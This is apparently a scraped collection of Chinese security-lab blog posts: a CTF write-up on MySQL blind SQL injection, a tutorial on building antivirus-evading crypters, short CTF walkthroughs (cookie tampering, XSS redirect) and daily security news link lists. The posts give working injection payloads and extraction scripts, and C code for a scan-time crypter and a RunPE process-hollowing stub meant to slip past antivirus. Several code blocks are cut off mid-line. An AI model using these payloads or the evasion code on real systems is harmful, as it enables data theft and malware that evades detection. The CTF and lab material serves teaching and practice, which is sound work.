两种CTF中特殊盲注的总结
前言
Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114363500001 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。)
SQL盲注基本知识
常用基本函数
IF(expr1,expr2,expr3)
若expr1为true,则返回expr2,为false则返回expr3
SELECT IF(TRUE, 'A','B') -- 输出结果:A SELECT IF(FALSE,'A','B') -- 输出结果:B
ASCII(str)
返回字符串str最左面字符的ASCII值
SELECT ASCII("flag") -- 输出结果:102
ORD(str)
返回字符串str第一个字符的ASCII值
SELECT ORD("flag") -- 输出结果:102
CHAR(int)
将ASCII码值int转换成字符
SELECT CHAR(65) -- 输出结果:A
MID(str,pos,len)
从pos位置开始,截取字符串str共len个长度的字符
SELECT MID("Hello World", 3, 5) -- 输出结果:llo W
与SUBSTR(str,pos,len) 效果相同
LEFT(str,len)
返回字符串str左边部分共len个字符
SELECT LEFT("flag", 2) -- 输出结果:fl
SLEEP(duration)
duration是休眠的时长,以秒为单位,也可以是小数
SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影响的行: 0 # 时间: 3.005ms
REGEXP
正则表达式,用来匹配文本的特殊的串(字符集合)
SELECT "FLAG" REGEXP "LA" -- 输出结果:1 SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0
其它
LENGTH(str) -- 返回字符串str的长度 DATABASE() -- 返回当前数据库名 VERSION() -- 返回当前MySQL版本
布尔盲注
根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2
据此可知数据库名的长度为4
时间盲注
通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应
据此可知数据库名的第一个字符为c
以下2道题目:flag在flag表的flag字段
在本地搭建靶机,用post传参,变量keywords接收
基于运行错误的布尔盲注
基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。
我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。
ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即:
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即:
SELECT ST_X(POINT(2,3)) -- 输出结果:2
但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
P.s.
ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。
需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。
其他可用的函数:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0);
如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。
NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT
当输入1、2、3等数字时,页面返回Hello World
而当输入被过滤的关键字时,网页返回No Hacker
由此可以测试一些被过滤的关键字有:
'、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord
然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。
而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。
此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。
用if来进行盲注,'被过滤了,用十六进制绕过。
if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。
构造payload:
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
而第二个字符是char(108),也就是字符l
用python写个脚本
import requests def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")" url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = "" fo
基于巨大运算时间的时间盲注
由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。
同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。
但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。
所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。
在此之前先了解几个函数
rpad(str,len,padstr)
对字符串str进行右填充,用padstr填充至str长度为len个字符
SELECT RPAD('hi', 5, '?') -- 输出结果:hi???
concat(str1,str2,...)
连接多个字符串为一个字符串
SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello
repeat(str,count)
返回字符串str重复count次后的字符串
SELECT REPEAT('ab', '3') -- 输出结果:ababab
构造payload:
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
也就是说如果flag的第一个字符为f的话,则会执行下面这句语句:
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。
这样做的话服务器可能会崩
由于题目过滤了',所以用十六进制代替
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
以下两种图片用get传参测试时间延迟效果
猜中flag的第一个字符时:
而如果猜第一个字符为0x01,则为false,if返回0
所以我们可以通过大量的运算时间做延迟,进行时间盲注。
但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。
所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1
脚本来自http://www.plasf.cn
import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = "" for i in range(1, 50): for j in tables: if j == "{" or
timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常
若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出
网络安全日报 2021年02月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、嵌入式软件开发商Wind River披露数据泄露
https://www.securityweek.com/embedded-software-developer-wind-river-discloses-data-breach
2、复杂的多平台恶意软件“ Kobalos”针对超级计算机
https://www.securityweek.com/sophisticated-multiplatform-malware-kobalos-targets-supercomputers
3、华盛顿州审计署160万用户数据遭泄露
https://www.securityweek.com/over-1-million-impacted-data-breach-washington-state-auditor
4、SonicWall证实零日漏洞已导致上千台设备受到攻击
https://www.securityweek.com/sonicwall-says-few-thousand-devices-impacted-zero-day-vulnerability
5、苹果发布NAT Slipstreaming 2.0攻击补丁
https://www.securityweek.com/apple-issues-patches-nat-slipstreaming-20-attack
6、RansomExx勒索软件利用VMWare ESXi漏洞来加密VM磁盘
https://www.zdnet.com/article/ransomware-gangs-are-abusing-vmware-esxi-exploits-to-encrypt-virtual-hard-disks/
7、警察考试数据库泄露了50万印度公民的PII
https://securityaffairs.co/wordpress/114148/data-breach/police-exam-database-exposes-500k-indian-citizens-pii.html
8、新的Trickbot模块使用Masscan进行本地网络侦察
https://www.zdnet.com/article/new-trickbot-module-uses-masscan-for-local-network-reconnaissance/
9、CISA:许多SolarWinds 攻击受害者与SolarWinds没有直接关系
https://securityaffairs.co/wordpress/114114/hacking/solarwinds-hackers-victims-no-direct-link.html
10、网络钓鱼活动通过伪造的PPP贷款引诱美国企业
https://www.bleepingcomputer.com/news/security/phishing-campaign-lures-us-businesses-with-fake-ppp-loans/
各位有所不知,前几天我举办了一次CTF竞赛...
2021年,我们热血开局!
1月的最后一周,我们再次见证了成长与历练。
时间:2021/1/26-1/28
事件:蚁景杯 WUST CTF2021新生赛
蚁景杯 WUST CTF2021新生赛:武汉科技大学俱乐部2021首场CTF竞赛,WEB、PWN、 MISC、CRYPTO、REVERSE五大题型迎接新生来战!
比赛为期三天,一方面考验着参赛队员的耐力值;题目类型涵盖面较广,在考验新生“学习情况”方面下足了“猛料”。
武汉科技大学俱乐部,因为热爱聚集到一块,学习从0到1的过程,响应号召,依然极客前行!
神秘的加密工具
我一直认为,在黑客世界里,加密技术是一种很神秘的艺术,是一种很隐晦的东西,我们可以查找资料来进行研究。当然,它在黑客世界中已经变得非常普遍,尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在这篇文章中,我将详细介绍加密工具的类型以及它们在底层的工作原理,然后展示低级代码层面上一些鲜为人知的技术。在阅读完这篇文章后,我希望大家最终能对这些玩意儿的工作原理以及它们在计算机世界中的地位和作用有一定程度的了解。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=14804a13-fea8-4bcf-a928-a71a40e7cfa4 (通过本实验,了解RC4加密技术)
稍微声明一下:有些材料可能不适合初学者,因为它们需要相当多的Windows底层的知识。包括以下很多技术。
掌握 C/C++ 熟悉WinAPI 和对应的文档 熟悉基础的加密知识 熟悉PE文件的结构 熟悉 Windows 虚拟内存 熟悉进程和线程
密码学的两个方面
当我们谈起对于密码学的印象时,我们经常会想到 "这是一种处理信息的手段,防止信息被泄露出去"。我们大多数人都把它看成是一种防御机制,其应用的目的在于确保信息的安全,阻止恶意的攻击。当然,我们很清楚这一点,因为它被发明出来的唯一目的就是保护数据,然而,正如我们很快就会看到的那样,密码学的功能已经远远不止这些。
如果我们使用传统的密码学来进行恶意攻击,即设计恶意软件,利用密码学提供的优势。这些类型的恶意软件在现代已经非常普遍,包括勒索软件和非对称后门等,它们主要涉及公钥密码学。
反病毒机制
为了能够设计出绕过杀毒软件的方式,我们必须首先要明白杀毒软件的杀毒方式。我将简单介绍一下杀毒软件检测应用程序采用的两种主要方法。
基于签名的检测
顾名思义,基于签名的检测是一种将应用程序的签名与相应的已知恶意软件的数据库进行交叉参考匹配的技术。这是预防和遏制之前出现过的恶意软件的有效措施。
基于启发式检测
虽然基于签名的检测可以防止大多数以前已知的恶意软件,但它也有缺点,因为恶意软件作者可以针对这种方法添加保护措施,如使用多态和变形代码等。基于启发式的检测会监控应用程序的行为和特征,并将其与已知的恶意行为进行匹配。请注意,只有在应用程序正在运行的情况下才会进行这种检测。
当然,杀毒软件要比这个高级很多。由于这已经超出了文章讨论的范围,也超出了我的理解范围,所以这里不会涉及这些信息。
加密技术简介
加密器是被设计用来保护文件内部信息的软件,并且在执行后,用解密程序提取后能够完整地提供信息。请注意,虽然加密器可以被用于恶意目的,但它也主要用于混淆数据,防止对软件逆向工程。在本文中,我们将重点讨论恶意使用的情况。那么,这是如何工作的呢?让我们先来了解密码器的各部分,看一下它们的作用。
加密器负责对目标对象进行加密。
+-------------+ +-----------+ +-------------------+ +--------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-------------+ +-----------+ +-------------------+ +--------+ +------------------+ +--------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File
扫描时加密器
这些类型的加密器由于能够加密磁盘上的数据而被称为扫描时加密器,杀毒软件可以对文件进行扫描,例如基于签名的检测。在这一阶段,只要应用的混淆技术是足够强大的,杀毒软件将永远无法检测到任何恶意活动。
运行时加密器
这些加密器将加密技术提升到了一个新的水平,能够在内存中运行时根据需要对数据进行加密。通过这样做,能够使恶意软件在杀毒软件作出反应之前加载和执行。在这个阶段,一个应用程序可以快速地运行它的有效载荷并达到它的目标。但是恶意软件完全有可能在执行阶段触发杀毒软件的基于启发式的检测策略,所以恶意软件作者应该小心。
现在我们已经介绍了高层次的内容,那么我们就来看看这两种类型的实例。
编写扫描时间加密器
扫描时加密器是两者中比较简单的,因为它不需要虚拟内存和进程/线程的知识。本质上,stub会对文件进行处理,把它放到磁盘上的某个地方,然后执行它。下面记录了一个扫描时加密器的设计。
注意:为了简洁和可读性,内容将不包含错误检查。
加密器和stub伪代码
1.检查是否有命令行参数 +-> 2. 如果有命令行参数,则作为加密器对文件进行加密处理 | 3. 打开目标文件 | 4. 读取文件内容 | 5. 对文件内容进行加密 | 6. 创建一个新文件 | 7. 将加密后的文件写入新文件 | 8. 結束 | +-> 2. 如果没有命令行参数,则作为stub 3. 打开加密文件 4. 读取文件内容 5. 解密文件内容 6. 创建一个临时文件 7. 将解密后的内容写入临时文件 8. 执行文件 9. 完成
这个设计方案在同一个可执行文件中同时实现了加密器和stub,我们可以这样做,是因为这两个操作非常相似。下面用代码来介绍一下设计方案。
首先,我们需要定义main和两个条件,这两个条件定义了是执行加密器还是stub。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine } return EXIT_SUCCESS; }
由于我们将应用程序设计成了窗口应用程序,我们不能像通常基于控制台的应用程序中那样检索 argc 和 argv,但是微软提供了使用 argc 和 argv的解决方案。如果命令行参数 __argv[1] 存在,应用程序将尝试对指定的文件进行加密,否则,它将尝试解密一个被加密的文件。
接下来是加密程序,我们需要 __argv[1] 来指定文件的句柄和它的大小,这样我们就可以把它的字节复制到一个缓冲区中进行加密。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine // open file to crypt HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get
Crypt函数主要是将文件内容读入到一个缓冲区中,然后对其进行加密,然后返回一个指向缓冲区的指针。
LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) { // allocate buffer for file contents LPVOID lpFileBytes = malloc(dwFileSize); // read the file into the buffer ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL); // apply XOR encryption int i; for (i = 0; i < dwFileSize; i++) { *((LPBYTE)lpFileBytes
现在我们有了加密的字节,我们需要创建一个新的文件,然后将这些字节写入其中。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine ... // get crypted file name in current directory CHAR szCryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szCryptedFileName); strc
加密器部分差不多就是这些了。注意,我们使用了一个简单的XOR来加密文件的内容,如果我们能够获得密钥,这种方案的安全性可能是不够的。如果我们想更加安全,我们可以使用其他的加密方案,如RC4或(x)TEA。我们不需要完整的加密算法,因为我们的目的是为了避免基于签名的检测,因此这么做完全是矫枉过正。保持文件小而简单最重要。
让我们继续进入stub例程。对于stub程序,我们要检索当前目录下的加密文件,然后将解密后的内容写入一个临时文件中进行执行。
我们首先要得到当前的要处理的文件,然后打开文件,得到文件大小。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine // get target encrypted file CHAR szEncryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szEncryptedFileName); strcat(szEncryptedFileName, "\\"); strcat(szEncr
和加密器例程差不多。接下来,我们要读取文件内容,并得到解密后的字节。由于XOR操作恢复了给定的公共位的值,我们可以简单地重用Crypt函数。之后,我们需要创建一个临时文件,并将解密后的字节写入其中。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // decrypt and obtain decrypted bytes LPVOID lpFileBytes = Crypt(hFile, dwFileSize); CloseHandle(hFile); // get file in temporary directory CHAR szTempFileName[MA
最后,我们需要执行解密后的应用程序。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // execute file ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // crypter routine } return EXIT_SUCCESS; }
请注意,一旦解密后的应用程序被写入磁盘,它很有可能被杀毒软件的基于签名的检测方式检测出来,因此这样有可能捕获大多数的恶意软件。正因为如此,恶意软件的作者需要编写即使他们的应用程序在这种情况下仍然能够执行的功能。
扫描时加密器就到此为止。
编写一个运行时加密器
对于运行时加密器,我的文章只涉及stub,因为它还包括更复杂的过程,所以我们将假设应用程序已经被加密。这些加密器使用一种叫做RunPE的流行技术。它的工作原理是stub先解密应用程序的加密字节,然后模拟Windows加载器,将它们推送到暂停进程的虚拟内存空间中。这个过程完成后,stub将把暂停的进程恢复运行。
注意:为了简洁和可读性,我将不包含错误检查。
stub伪代码
1. Decrypt application 2. Create suspended process 3. Preserve process's thread context 4. Hollow out process's virtual memory space 5. Allocate virtual memory 6. Write application's header and sections into allocated memory 7. Set modified thread context 8. Resume process 9. Finish
我们可以看到,这需要相当多的Windows内部知识,包括PE文件结构、Windows内存操作和进程/线程的知识。我强烈建议读者在理解这些知识的基础上来理解下面的材料。
首先,让我们在main中设置两个例程,一个用于解密被加密的应用程序,另一个用于将其加载到内存中执行。
APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; }
Decrypt函数实现方式完全依赖于用于应用程序的加密方式,这里是一个使用XOR的示例代码。
VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } }
现在,应用程序已经被解密,让我们来看看神奇的地方。在这里,我们通过检查DOS和PE签名来验证该应用程序是否是一个有效的PE文件。
VOID RunPE(VOID) { // check valid DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode; if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return; // check valid PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew); if (pinh->Signature != IMAGE_NT_SIGNAT
现在,我们将创建暂停的进程。
VOID RunPE(VOID) { ... // get own full file name CHAR szFileName[MAX_PATH]; GetModuleFileName(NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); // required to set size of si.cb
注意,szFileName可以是任何可执行文件的完整路径,如explorer.exe或iexplore.exe,但在本例中,我们将使用stub的文件。CreateProcess函数将在暂停状态下创建一个指定文件的子进程,这样我们就可以根据自己的需要来修改它的虚拟内存内容。
VOID RunPE(VOID) { ... // obtain thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.Thread, &ctx); }
现在我们清空进程的虚拟内存区域,这样我们就可以为应用程序分配自己的运行空间。为此,我们需要一个函数,而这个函数对我们来说并不是现成的,因此我们需要一个函数指针,指向一个从ntdll.dll 文件中动态检索内容的函数。
typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID); VOID RunPE(VOID) { ... // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow p
由于被暂停的进程在其虚拟内存空间内有自己的内容,我们需要从内存中对它进行解映射,然后分配我们自己的内容,这样我们就有访问权限来加载我们的应用程序的映像。我们将通过WriteProcessMemory函数来实现。首先,我们需要像Windows加载器一样,先写头文件,然后分别写每个部分。这一部分需要对PE文件结构有一个全面的了解。
VOID RunPE(VOID) { ... // write header WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) { // calculate and get ith section PIMAGE_SECTION
现在一切就绪,我们只需修改上下文的切入点地址,然后恢复暂停的线程。
VOID RunPE(VOID) { ... // set appropriate address of entry point ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &ctx); // resume and execute our application ResumeThread(pi.hThread); }
现在,应用程序已经开始在内存中运行,希望杀毒软件不会检测到它。
网络安全日报 2021年02月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、机器学习提供了解决SQL注入漏洞的新方法
https://portswigger.net/daily-swig/machine-learning-offers-fresh-approach-to-tackling-sql-injection-vulnerabilities
2、SpamCop反垃圾邮件服务在其域名过期后发生中断
https://www.bleepingcomputer.com/news/security/spamcop-anti-spam-service-suffers-an-outage-after-its-domain-expired/
3、针对SonicWall网络设备中的0day漏洞已被在野利用
https://www.zdnet.com/article/sonicwall-zero-day-exploited-in-the-wild/
4、YouPHPTube和AVideo中的多个漏洞可致远程代码执行
https://portswigger.net/daily-swig/vulnerabilities-in-open-source-streaming-platforms-youphptube-and-avideo-could-lead-to-rce
5、研究人员发现了用于横向移动的新型Trickbot模块
https://securityaffairs.co/wordpress/114103/malware/trickbot-new-module.html
6、针对NoxPlayer 安卓模拟器的供应链攻击-NightScout行动
https://securityaffairs.co/wordpress/114090/hacking/noxplayer-supply-chain-attack.html
7、谷歌披露了广泛使用的Libgcrypt加密库严重漏洞
https://securityaffairs.co/wordpress/114076/security/libgcrypt-encryption-library-flaw.html
8、专家披露Azure Functions 漏洞可造成Docker逃逸
https://securityaffairs.co/wordpress/114061/hacking/azure-functions-escape-docker.html
9、外包服务集团Serco Group遭勒索软件攻击
https://www.infosecurity-magazine.com/news/global-government-outsourcer-serco/
10、网络犯罪组织Rocke正积极利用恶意软件Pro-Ocean
https://securityaffairs.co/wordpress/114005/malware/pro-ocean-miner.html
网络安全日报 2021年02月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Popup Builder插件漏洞影响20万WordPress网站
https://threatpost.com/wordpress-pop-up-builder-plugin-flaw-plagues-200k-sites/163500/
2、新的挖矿软件Pro-Ocean针对ActiveMQ、WebLogic等
https://securityaffairs.co/wordpress/114005/malware/pro-ocean-miner.html
3、美国电信运营商UScellular披露数据泄露
https://securityaffairs.co/wordpress/114023/data-breach/uscellular-data-breach.html
5、Fonix勒索软件关闭并释放主解密密钥
https://www.bleepingcomputer.com/news/security/fonix-ransomware-shuts-down-and-releases-master-decryption-key
6、英国研究与创新局(UKRI)遭勒索软件攻击
https://securityaffairs.co/wordpress/114026/hacking/ukri-ransomware-attack.html
7、编程网站Perl.com的域名被劫持
https://securityaffairs.co/wordpress/114006/hacking/website-perl-com-hijacked.html
8、研究人员发现用于卫星影像的NITRO开源库存在多个漏洞
https://www.scmagazine.com/home/security-news/vulnerabilities/flaws-in-open-source-library-used-by-dod-ic-for-satellite-imagery-could-lead-to-system-takeovers/
9、Windows Installer零日漏洞补丁已发布
https://www.bleepingcomputer.com/news/security/windows-installer-zero-day-vulnerability-gets-free-micropatch
10、GnuPG加密软件中漏洞可致远程代码执行
https://nakedsecurity.sophos.com/2021/01/31/gnupg-crypto-library-can-be-pwned-during-decryption-patch-now/
进入网站后台找flag
这次的题目是进入网站后台找flag,题目地址:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016092313250000001&
首先打开题目网页,内容如下:简单的字母提示和一个明显的按钮。
点击按钮,左上角页面出现提示:Only Member with Admin rights is allow to enter。意思是只能以管理员身份进入网站后台。
用brupsuit抓包,看看数据包的发送情况:
返回的数据包中设置了cookie的值,Member的值经过了base64加密。在burpsuite的decoder模块解码——>输入Tm9ybWFs——>Decode as ——>Base64:
然后根据页面的提示,把Admin进行base64加密,得到得到QWRtaW4=,构造这样一个请求包,发送。
然后再Intercept中将Member的值换成上面加密的值,并点击Forward发送。
出现flag
实验总结:
主要用到bursuite抓包分析数据,还有base64的加密和解密。
Base64密文有如下特点:
- 字符串只可能包含A-Z,a-z,0-9,+,/,=字符
- 字符串长度是4的倍数
- =只会出现在字符串最后,可能没有或者一个等号或者两个等号
网络安全日报 2021年01月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、苹果添加“ BlastDoor”以保护iPhone免受零点击攻击
https://www.securityweek.com/apple-adds-blastdoor-secure-iphones-zero-click-attacks
2、微软过去1年中安全业务相关收入超过100亿美金
https://www.securityweek.com/microsoft-security-10-billion-business
3、苹果将在春季推出新的隐私控制措施
https://www.securityweek.com/apple-crack-down-tracking-iphone-users-early-spring
4、新的Android恶意软件Oscorp针对意大利用户
https://securityaffairs.co/wordpress/113983/malware/oscorp-android-malware.html
5、爆炸雪松APT小组入侵全球电信、托管服务商
https://securityaffairs.co/wordpress/113975/apt/lebanese-cedar-apt-attacks.html
6、Stack Overflow披露了2019年被黑事件详情
https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/
7、研究人员发现新型网络钓鱼工具包LogoKit
https://threatpost.com/logokit-simplifies-office-365-sharepoint-login-phishing-pages/163430/
8、TeamTNT使用新逃避检测工具投送恶意软件
https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool
9、安全研究员发现Node.js应用程序远程执行代码漏洞
https://portswigger.net/daily-swig/potential-remote-code-execution-vulnerability-uncovered-in-node-js-apps
10、Windows 7 仍易受Blind TCP/IP 劫持攻击
https://portswigger.net/daily-swig/blind-tcp-ip-hijacking-is-resurrected-for-windows-7
CTF-Web拿到key的小技巧
本关实验地址为:&
预备知识
HTTP协议,报文的组成部分等,请参考https://yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001<>以及简单的js脚本编写能力。
打开服务器上的网页然后看到进入第一关的按钮,点一下。
跳到第一关,只有一些文字,那么我们不多BB,直接查看源代码。
源代码中有个注释,要删除1.php.bak,我们直接在地址栏中输入试试。
然后来到了这个页面,和第一关的页面差不多,但是多了一些奇怪的符号,还是看一下源代码吧。
源代码中给出了第二关的地址,直接访问。
进入到第二关后,出来一个输入框和按钮,然后提示点击进入第三关,那么我们点一下
出现了诡异的提示,我们注意到第三关的页面是3rd.php。点击提示的确定后,又退回到第二关了。
此事必有蹊跷。特别是这个输入框,能让我有插它的冲动,写个alert看看能不能xss。
<script>alert(1)</script>
竟然弹框了,好激动好兴奋的样子。
那么我们构造一个a标签来戳进去。<a href="3rd.php"></a>
发现不行,构造出的连接闪一下就没了。
那么我们用【某种方式】重定向吧。
<script>window.location="3rd.php"</script>
成功绕过验证,点击就能进入下一关了。
这和前面也差不多,就是只有一些文字。查看源代码也没有收获,那我们看看能否从文字中获得关键信息
既然说是在眼皮底下,那我们就看看眼皮吧,查看一下HTTP原始请求包和返回包,发现在返回的报文中有个Next字段,提供了下一关的页面。
那么按照提示,点完按钮就结束了吧。
可是鼠标放到按钮上,按钮就不见了。
我们使用审查元素看一下,原来使用了display:none,将其改为display:block按钮就出来了。
但是鼠标悬停还是没有了,看一下上面的joy脚本,原来就是这个脚本隐藏了按钮。
那么我们删除这个按钮的onmouseover="joy()",果然出现
点击按钮,找到key。
网络安全日报 2021年01月28日
